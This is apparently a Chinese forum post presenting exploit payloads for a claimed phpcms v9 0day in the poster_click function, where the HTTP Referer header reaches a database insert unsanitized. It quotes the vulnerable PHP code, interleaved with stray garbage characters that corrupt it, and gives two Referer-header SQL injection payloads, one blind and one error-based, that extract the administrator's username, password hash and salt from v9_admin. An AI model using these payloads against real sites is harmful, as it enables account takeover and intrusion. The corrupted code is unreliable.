phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

: ^9 ^$ c* [7 T; ?' Z, B问题函数\phpcms\modules\poster\index.php

public function poster_click() {
4 V: S9 k5 t1 ?# v8 {) g5 k$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
( H8 `0 a; u$ P- n! o, y+ h8 q$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
: t& k: k0 i( Q2 m$area = $ip_area->get($ip);
+ j5 J, V& L) F* `( o) K$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
6 F, g" t8 G1 B3 ~1 K% T$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
( `) O2 T7 G3 X+ Z0 a" J- U2 P8 w7 q}
: s9 v1 f' u; M( K$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
  f0 p  ^# O6 m0 G3 W2 s$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
' |. ^- w& t0 }2 P& }8 U3 c}
header('Location: '.$url);
2 ?# ]7 Z* `. K# m$ `}
/ G. K8 ?9 s7 y# }
, u8 a! R1 z6 d1 ^8 P6 U- p
: K' D( l' }4 p9 P) b- N
) O2 P0 z) r+ }" e/ P& l. ^利用方式：

1、可以采用盲注入的手法：

5 o6 o9 W# p; yreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

) r3 T  p( t! b7 F; w+ ?此方法是爆错注入手法，原理自查。
